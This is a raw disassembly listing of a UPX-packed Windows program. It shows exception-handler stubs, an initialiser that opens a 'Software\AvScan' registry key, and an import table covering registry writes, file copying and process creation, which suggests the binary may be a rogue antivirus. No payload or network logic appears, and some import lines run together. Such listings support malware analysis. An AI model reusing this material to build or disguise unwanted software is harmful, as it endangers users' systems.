jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C3DC: ; DATA XREF: sub_4069AB+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-1Ch]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4276CC
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C3F7: ; DATA XREF: UPX0:004276FCo
jmp nullsub_1
; ---------------------------------------------------------------------------
loc_41C3FC: ; DATA XREF: sub_406482+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-18h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_42772C
jmp loc_40C114
; ---------------------------------------------------------------------------
lea ecx, [ebp-30h]
jmp loc_405180
; ---------------------------------------------------------------------------
loc_41C41F: ; DATA XREF: sub_406130+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-5Ch]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427758
jmp loc_40C114
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp loc_405180
; ---------------------------------------------------------------------------
loc_41C442: ; DATA XREF: sub_405CA8+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-58h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427788
jmp loc_40C114
; ---------------------------------------------------------------------------
mov eax, [ebp-10h]
add eax, 8
jmp loc_405990
; ---------------------------------------------------------------------------
loc_41C468: ; DATA XREF: sub_40587D+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4277B8
jmp loc_40C114
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 8
jmp loc_405990
; ---------------------------------------------------------------------------
loc_41C48E: ; DATA XREF: sub_4057F4+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-10h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4277E8
jmp loc_40C114
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
jmp loc_405341
; ---------------------------------------------------------------------------
loc_41C4B1: ; DATA XREF: sub_4052AA+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-10h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427818
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-48h]
jmp loc_4051AD
; ---------------------------------------------------------------------------
loc_41C4D4: ; DATA XREF: sub_4051B7+8o
mov edx, [esp+8]
lea eax, [edx-6Ch]
mov ecx, [edx-70h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427848
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C4EF: ; DATA XREF: UPX0:0042787Co
push dword ptr [ebp-18h]
call sub_40AC11
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C4F9: ; DATA XREF: sub_4050AA+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-20h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4278AC
jmp loc_40C114
; ---------------------------------------------------------------------------
mov eax, [ebp-10h]
jmp loc_404C03
; ---------------------------------------------------------------------------
loc_41C51C: ; DATA XREF: UPX0:004278DCo
mov eax, [ebp-10h]
add eax, 2Ch
jmp loc_4012F3
; ---------------------------------------------------------------------------
loc_41C527: ; DATA XREF: sub_404B59+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4278E0
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C542: ; DATA XREF: sub_403FBF+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-1Ch]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_42793C
jmp loc_40C114
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 28h
jmp sub_404C88
; ---------------------------------------------------------------------------
loc_41C568: ; DATA XREF: sub_401E62+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-10h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427968
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-284h]
jmp loc_4051AD
; ---------------------------------------------------------------------------
loc_41C58E: ; DATA XREF: UPX0:0042799Co
lea esi, [ebp-2A0h]
jmp loc_4051AD
; ---------------------------------------------------------------------------
loc_41C599: ; DATA XREF: sub_4098E0+8o
mov edx, [esp+8]
lea eax, [edx-2BCh]
mov ecx, [edx-2C0h]
xor ecx, eax
call sub_40AC1C
add eax, 0Ch
mov ecx, [edx-8]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4279A0
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp+8]
jmp loc_404C16
; ---------------------------------------------------------------------------
loc_41C5CF: ; DATA XREF: sub_40783F+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-10h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_4279D0
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C5EA: ; DATA XREF: sub_4070E8+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-1Ch]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427A2C
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C605: ; DATA XREF: sub_406A3F+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-1Ch]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427A84
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp-10h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41C628: ; DATA XREF: UPX0:00427AB4o
lea eax, [ebp-14h]
jmp loc_4011D6
; ---------------------------------------------------------------------------
loc_41C630: ; DATA XREF: sub_40534A+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-18h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427AB8
jmp loc_40C114
; ---------------------------------------------------------------------------
lea eax, [ebp-60h]
jmp loc_407751
; ---------------------------------------------------------------------------
loc_41C653: ; DATA XREF: UPX0:00427AECo
lea esi, [ebp-6Ch]
jmp loc_404C16
; ---------------------------------------------------------------------------
loc_41C65B: ; DATA XREF: sub_4080FF+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-70h]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx-4]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427AF0
jmp loc_40C114
; ---------------------------------------------------------------------------
lea esi, [ebp-28h]
jmp loc_404C16
; ---------------------------------------------------------------------------
loc_41C688: ; DATA XREF: UPX0:00427B24o
lea eax, [ebp+0]
jmp loc_40A274
; ---------------------------------------------------------------------------
loc_41C690: ; DATA XREF: sub_4078AB+1Ao
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-2Ch]
xor ecx, eax
call sub_40AC1C
mov ecx, [edx+410h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427B5C
jmp loc_40C114
; ---------------------------------------------------------------------------
mov ecx, [ebp+8]
jmp sub_404B59
; ---------------------------------------------------------------------------
loc_41C6C0: ; DATA XREF: UPX0:00427B8Co
mov eax, [ebp+8]
add eax, 78h
jmp loc_408D89
; ---------------------------------------------------------------------------
loc_41C6CB: ; DATA XREF: sub_409533+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427B90
jmp loc_40C114
; ---------------------------------------------------------------------------
mov ecx, [ebp+8]
jmp sub_404B59
; ---------------------------------------------------------------------------
loc_41C6EE: ; DATA XREF: sub_408D98+2o
; sub_4091FA+2o ...
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-10h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427BC0
jmp loc_40C114
; ---------------------------------------------------------------------------
lea edi, [ebp-70h]
jmp sub_40927A
; ---------------------------------------------------------------------------
loc_41C711: ; DATA XREF: sub_40A147+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-74h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427BF0
jmp loc_40C114
; ---------------------------------------------------------------------------
lea edi, [ebp-70h]
jmp sub_409433
; ---------------------------------------------------------------------------
loc_41C734: ; DATA XREF: sub_40A0E8+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-74h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427C20
jmp loc_40C114
; ---------------------------------------------------------------------------
lea edi, [ebp-0B0h]
jmp sub_40961F
; ---------------------------------------------------------------------------
loc_41C75A: ; DATA XREF: sub_409FB8+8o
mov edx, [esp+8]
lea eax, [edx-0F4h]
mov ecx, [edx-0F8h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427C50
jmp loc_40C114
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 40h
jmp loc_408D89
; ---------------------------------------------------------------------------
loc_41C786: ; DATA XREF: UPX0:00427C84o
mov eax, [ebp+8]
add eax, 48h
jmp loc_408D89
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 50h
jmp loc_408D89
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 58h
jmp loc_408D89
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 60h
jmp loc_408D89
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 68h
jmp loc_408D89
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 70h
jmp loc_408D89
; ---------------------------------------------------------------------------
loc_41C7C8: ; DATA XREF: sub_409BC7+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-10h]
xor ecx, eax
call sub_40AC1C
mov eax, offset dword_427CB0
jmp loc_40C114
; ---------------------------------------------------------------------------
loc_41C7E3: ; DATA XREF: UPX0:0041D3ECo
push esi
mov esi, offset dword_42F0B4
mov ecx, offset dword_42F0C4
mov dword_42EE90, esi
call sub_401154
test eax, eax
jge short loc_41C806
mov byte_42EE8C, 1
jmp short loc_41C810
; ---------------------------------------------------------------------------
loc_41C806: ; CODE XREF: UPX0:0041C7FBj
mov dword_42F0B8, 24h
loc_41C810: ; CODE XREF: UPX0:0041C804j
push offset loc_41C88C
mov dword_42F0B4, offset off_424BB0
mov dword_42EEA4, esi
call sub_40B770
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C82D: ; DATA XREF: UPX0:0041D3F0o
push edi
push offset aSoftwareAvsc_0 ; "Software\\AvScan"
mov edi, offset dword_42F0E4
call sub_417072
push offset loc_41C8A0
call sub_40B770
pop ecx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C84A: ; DATA XREF: UPX0:0041D3E0o
mov ecx, offset dword_42E34C
call sub_40AA42
push offset loc_41C8AD
call sub_40B770
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C860: ; DATA XREF: UPX0:0041D3E4o
mov ecx, offset dword_42E388
call sub_40AA1C
push offset loc_41C8B7
call sub_40B770
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C876: ; DATA XREF: UPX0:0041D3E8o
mov ecx, offset dword_42E3B4
call sub_40AB4B
push offset loc_41C8C1
call sub_40B770
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C88C: ; DATA XREF: UPX0:loc_41C810o
mov dword_42F0B4, offset off_424BB0
mov eax, offset dword_42F0B4
jmp sub_4072C1
; ---------------------------------------------------------------------------
loc_41C8A0: ; DATA XREF: UPX0:0041C83Do
push dword_42F0E4
call dword_41D000 ; RegCloseKey
retn
; ---------------------------------------------------------------------------
loc_41C8AD: ; DATA XREF: UPX0:0041C854o
mov ecx, offset dword_42E34C
jmp loc_40AA06
; ---------------------------------------------------------------------------
loc_41C8B7: ; DATA XREF: UPX0:0041C86Ao
mov ecx, offset dword_42E388
jmp loc_40AAF1
; ---------------------------------------------------------------------------
loc_41C8C1: ; DATA XREF: UPX0:0041C880o
mov ecx, offset dword_42E3B4
jmp loc_40AB09
; ---------------------------------------------------------------------------
loc_41C8CB: ; DATA XREF: sub_40B45F+42o
mov dword_42E3E0, offset off_41D4DC
mov ecx, offset dword_42E3E0
jmp sub_40AD84
; ---------------------------------------------------------------------------
align 10h
dd 1C8h dup(0)
dword_41D000 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_40747A+4Cr ...
dword_41D004 dd 77DFCCEFh ; resolved to->ADVAPI32.RegQueryInfoKeyWdword_41D008 dd 77DF9884h ; resolved to->ADVAPI32.RegDeleteKeyW ; sub_4083DE+575r
dword_41D00C dd 77DDEEF1h ; resolved to->ADVAPI32.RegDeleteValueWdword_41D010 dd 77DD6A78h ; resolved to->ADVAPI32.RegOpenKeyExW ; sub_4083DE+252r ...
dword_41D014 dd 77DD79A1h ; resolved to->ADVAPI32.RegEnumKeyExWdword_41D018 dd 77DDD7CCh ; resolved to->ADVAPI32.RegSetValueExW ; sub_407CD3+2E0r ...
dword_41D01C dd 77DD6FC8h ; resolved to->ADVAPI32.RegQueryValueExW ; sub_416FB1+31r
dword_41D020 dd 77DD7535h ; resolved to->ADVAPI32.RegCreateKeyExW ; sub_417072+17r
align 8
dword_41D028 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_403EA4+44r
dword_41D02C dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_403DD3+9Er ...
dword_41D030 dd 77F161FFh ; resolved to->GDI32.CreateBitmap ; sub_409FB8+7Br ...
dword_41D034 dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_40366A+F5r ...
dword_41D038 dd 77F16C0Ah ; resolved to->GDI32.DeleteObject ; sub_402874+10Dr ...
dword_41D03C dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_402874+14Br ...
dword_41D040 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_403DD3+5Fr
dword_41D044 dd 77F1701Ah ; resolved to->GDI32.CreateCompatibleBitmap ; sub_403DD3+7Br ...
dword_41D048 dd 77F1836Fh ; resolved to->GDI32.GetObjectWdword_41D04C dd 77F161D1h ; resolved to->GDI32.GetStockObjectdword_41D050 dd 77F1A779h ; resolved to->GDI32.SetDIBits ; sub_409FB8+C6r ...
dword_41D054 dd 77F161B5h ; resolved to->GDI32.CreateSolidBrush ; sub_402874+F1r
dd 0
dword_41D05C dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_41D060 dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_41D064 dd 7C802332h ; resolved to->KERNEL32.CreateProcessWdword_41D068 dd 7C801AF1h ; resolved to->KERNEL32.LoadLibraryExWdword_41D06C dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_4098E0+9Cr ...
dword_41D070 dd 7C80A017h ; resolved to->KERNEL32.SetEvent ; sub_40961F+13r ...
dword_41D074 dd 7C802540h ; resolved to->KERNEL32.WaitForSingleObjectEx ; UPX0:0040946Cr ...
dword_41D078 dd 7C80E43Dh ; resolved to->KERNEL32.GetModuleHandleW ; sub_408BAA+F8r ...
dword_41D07C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_40A398+9Dr ...
dword_41D080 dd 7C802442h ; resolved to->KERNEL32.Sleep ; UPX0:00409504r ...
dword_41D084 dd 7C82F873h ; resolved to->KERNEL32.CopyFileWdword_41D088 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_41D08C dd 7C80B9EFh ; resolved to->KERNEL32.lstrcpynW ; sub_409EDC+1r
dword_41D090 dd 7C830789h ; resolved to->KERNEL32.GetTempPathWdword_41D094 dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_41D098 dd 7C80A03Bh ; resolved to->KERNEL32.ResetEventdword_41D09C dd 7C80A6A9h ; resolved to->KERNEL32.CreateEventWdword_41D0A0 dd 7C80A996h ; resolved to->KERNEL32.lstrcmpiW ; sub_407ACF+6Cr ...
dword_41D0A4 dd 7C80EF3Ah ; resolved to->KERNEL32.FindNextFileWdword_41D0A8 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40939B+8r ...
dword_41D0AC dd 7C80AD7Bh ; resolved to->KERNEL32.GetWindowsDirectoryW ; sub_4173E1+43r
dword_41D0B0 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_40A2BB+21r
dword_41D0B4 dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchangedword_41D0B8 dd 7C809915h ; resolved to->KERNEL32.GetACP ; sub_411DC7+4Cr
dword_41D0BC dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_415EED+24r
dword_41D0C0 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_41D0C4 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_40AA42+50r
dword_41D0C8 dd 7C8097A2h ; resolved to->KERNEL32.InterlockedCompareExchangedword_41D0CC dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_40A7A4+9Cr ...
dword_41D0D0 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_40A7A4+6Dr ...
dword_41D0D4 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_40A866+28r ...
dword_41D0D8 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_40AF6F+61r ...
dword_41D0DC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_413890+28r
dword_41D0E0 dd 7C80AE2Ah ; resolved to->KERNEL32.IsProcessorFeaturePresentdword_41D0E4 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_40D00C+231r
dword_41D0E8 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_40AF6F+B6r ...
dword_41D0EC dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_41D0F0 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_41676F+288r
dword_41D0F4 dd 7C80D077h ; resolved to->KERNEL32.CompareStringAdword_41D0F8 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_41D0FC dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_41D100 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_414FEE+11Er
dword_41D104 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeAdword_41D108 dd 7C80BBCEh ; resolved to->KERNEL32.FindResourceWdword_41D10C dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_414C04+368r
dword_41D110 dd 7C835484h ; resolved to->KERNEL32.WriteConsoleWdword_41D114 dd 7C81B18Fh ; resolved to->KERNEL32.GetConsoleOutputCPdword_41D118 dd 7C81CF25h ; resolved to->KERNEL32.WriteConsoleAdword_41D11C dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandledword_41D120 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_41D124 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_41D128 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_41D12C dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41D130 dd 7C8110CBh ; resolved to->KERNEL32.IsValidCodePagedword_41D134 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_41D138 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_411E43+86r ...
dword_41D13C dd 7C81AF14h ; resolved to->KERNEL32.GetConsoleModedword_41D140 dd 7C8740E3h ; resolved to->KERNEL32.GetConsoleCPdword_41D144 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_41D148 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_41D14C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_41D150 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounterdword_41D154 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_40FA31+1DBr
dword_41D158 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_41D15C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_41D160 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41D164 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsAdword_41D168 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA ; sub_40F8FA+12Ar
dword_41D16C dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_41D170 dd 7C8136D7h ; resolved to->KERNEL32.TlsFree ; sub_40E4D8+8Er
dword_41D174 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_40E4D8+61r
dword_41D178 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAlloc ; sub_40E4D8:loc_40E580r
dword_41D17C dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; sub_40E143+Cr ...
dword_41D180 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40F83F+2Cr
dword_41D184 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_40FA31+1C9r
dword_41D188 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_41105A+260r ...
dword_41D18C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_41D190 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_41D194 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_40FA31+15r
dword_41D198 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_41D19C dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTime ; sub_40FCD1+37r
dword_41D1A0 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_40B8A1+1B5r ...
dword_41D1A4 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileAdword_41D1A8 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresent ; sub_40C52F+BBr
dword_41D1AC dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_40C52F+D0r ...
dword_41D1B0 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter ; sub_40C52F+DBr ...
dword_41D1B4 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_40C52F+FEr
dword_41D1B8 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_41D1BC dd 7C80EEE1h ; resolved to->KERNEL32.FindFirstFileWdword_41D1C0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_4173E1+18Ar
dword_41D1C4 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_406781+26r ...
dword_41D1C8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_4072C1+5Br ...
dword_41D1CC dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_401652+59r ...
dword_41D1D0 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; sub_40E316+6Er ...
dword_41D1D4 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_40A2F3+1Cr
dword_41D1D8 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_41D1DC dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_4072C1+20r ...
dword_41D1E0 dd 7C8355BCh ; resolved to->KERNEL32.FlushInstructionCachedword_41D1E4 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfodword_41D1E8 dd 7C801AD0h ; resolved to->KERNEL32.VirtualProtectdword_41D1EC dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlock ; sub_418266+148r ...
dword_41D1F0 dd 7C809A09h ; resolved to->KERNEL32.lstrlenW ; sub_401931+3Fr ...
dword_41D1F4 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4078AB+137r ...
dword_41D1F8 dd 7C80A9CCh ; resolved to->KERNEL32.lstrcmpWdword_41D1FC dd 7C80B3D5h ; resolved to->KERNEL32.GetModuleFileNameW ; sub_4089CE+CDr ...
dword_41D200 dd 7C8097C6h ; resolved to->KERNEL32.MulDiv ; sub_404933+45r
dword_41D204 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_40783F+45r ...
dword_41D208 dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAlloc ; sub_418266+116r ...
dword_41D20C dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSectiondword_41D210 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock ; sub_418266+12Er ...
dword_41D214 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40B12D+10Er ...
dword_41D218 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_40504A+Ar ...
dword_41D21C dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_405039+8r ...
dword_41D220 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_414C04+146r ...
dword_41D224 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 0
dword_41D22C dd 771502FAh dword_41D230 dd 77129D3Eh dword_41D234 dd 77124C05h ; sub_40120D+2Dr ...
dword_41D238 dd 77124C7Eh ; sub_401260+43r ...
dword_41D23C dd 77124920h ; sub_401304+21r ...
dword_41D240 dd 771279E5h dword_41D244 dd 77124C98h dword_41D248 dd 77124980h dword_41D24C dd 7713AA0Dh dword_41D250 dd 77124BA7h ; sub_4016D2+B8r
dword_41D254 dd 77144BC4h dword_41D258 dd 77124CFAh ; sub_417FE1+DBr
dword_41D25C dd 77124880h ; UPX0:004012F5r ...
dd 0
dword_41D264 dd 7CA21B92h ; sub_409EDC+7Dr
dd 0
dword_41D26C dd 7E418A01h ; resolved to->USER32.DispatchMessageW ; UPX0:004094A7r ...
dword_41D270 dd 7E41DBECh ; resolved to->USER32.MoveWindow ; sub_417C70+1F9r
dword_41D274 dd 7E41BC7Dh ; resolved to->USER32.GetWindowdword_41D278 dd 7E41B33Ch ; resolved to->USER32.DefWindowProcW ; sub_4044BB+28r ...
dword_41D27C dd 7E41C64Ah ; resolved to->USER32.CallWindowProcW ; sub_403F49+15r ...
dword_41D280 dd 7E41BC36h ; resolved to->USER32.SetWindowTextW ; sub_418186+AAr ...
dword_41D284 dd 7E41BE71h ; resolved to->USER32.EnableWindow ; sub_418186+D1r
dword_41D288 dd 7E41B8BAh ; resolved to->USER32.SendMessageW ; sub_404C9D+2Cr ...
dword_41D28C dd 7E41D6EAh ; resolved to->USER32.ReleaseCapturedword_41D290 dd 7E41FC25h ; resolved to->USER32.CreateWindowExW ; sub_409CE5+2Br ...
dword_41D294 dd 7E41B933h ; resolved to->USER32.IsWindow ; UPX0:00402BFDr ...
dword_41D298 dd 7E41D8A4h ; resolved to->USER32.ShowWindow ; sub_4092D7+8Br ...
dword_41D29C dd 7E41EDDAh ; resolved to->USER32.SetLayeredWindowAttributesdword_41D2A0 dd 7E41BD76h ; resolved to->USER32.GetCursorPosdword_41D2A4 dd 7E41C01Bh ; resolved to->USER32.SetWindowPos ; sub_417C70+16Ar
dword_41D2A8 dd 7E418E78h ; resolved to->USER32.GetSysColor ; UPX0:loc_402C3Br
dword_41D2AC dd 7E41EED5h ; resolved to->USER32.GetDesktopWindow ; sub_417C70+5Cr
dword_41D2B0 dd 7E41BF6Ch ; resolved to->USER32.RedrawWindow ; UPX0:00402BEFr ...
dword_41D2B4 dd 7E41D62Bh ; resolved to->USER32.SetWindowLongW ; sub_404477+20r ...
dword_41D2B8 dd 7E423DCEh ; resolved to->USER32.GetDlgItemdword_41D2BC dd 7E41869Dh ; resolved to->USER32.ReleaseDC ; UPX0:00403A8Cr ...
dword_41D2C0 dd 7E41C33Ah ; resolved to->USER32.GetClassNameWdword_41D2C4 dd 7E419F06h ; resolved to->USER32.SystemParametersInfoWdword_41D2C8 dd 7E41CDB6h ; resolved to->USER32.GetWindowTextW ; sub_4184BE+EAr
dword_41D2CC dd 7E4188A6h ; resolved to->USER32.GetWindowLongW ; sub_4044BB+Er ...
dword_41D2D0 dd 7E41B5F5h ; resolved to->USER32.InvalidateRectdword_41D2D4 dd 7E41AF7Fh ; resolved to->USER32.RegisterClassExW ; sub_404725+162r ...
dword_41D2D8 dd 7E418BF6h ; resolved to->USER32.TranslateMessage ; UPX0:0040947Dr ...
dword_41D2DC dd 7E4186C7h ; resolved to->USER32.GetDC ; sub_40366A+DFr ...
dword_41D2E0 dd 7E421656h ; resolved to->USER32.UnregisterClassAdword_41D2E4 dd 7E42E1D1h ; resolved to->USER32.PostQuitMessagedword_41D2E8 dd 7E41DB9Ah ; resolved to->USER32.CharLowerWdword_41D2EC dd 7E4222BCh ; resolved to->USER32.CreateIconIndirect ; sub_409FB8+D1r ...
dword_41D2F0 dd 7E41929Bh ; resolved to->USER32.PeekMessageW ; UPX0:004094B6r ...
dword_41D2F4 dd 7E46630Ah ; resolved to->USER32.MessageBoxWdword_41D2F8 dd 7E41EF3Dh ; resolved to->USER32.DestroyIcon ; sub_409FB8+101r ...
dword_41D2FC dd 7E41B61Dh ; resolved to->USER32.EndPaintdword_41D300 dd 7E41C188h ; resolved to->USER32.ClientToScreendword_41D304 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_404EC4+30r ...
dword_41D308 dd 7E423E99h ; resolved to->USER32.GetWindowTextLengthW ; sub_4184BE+8Er
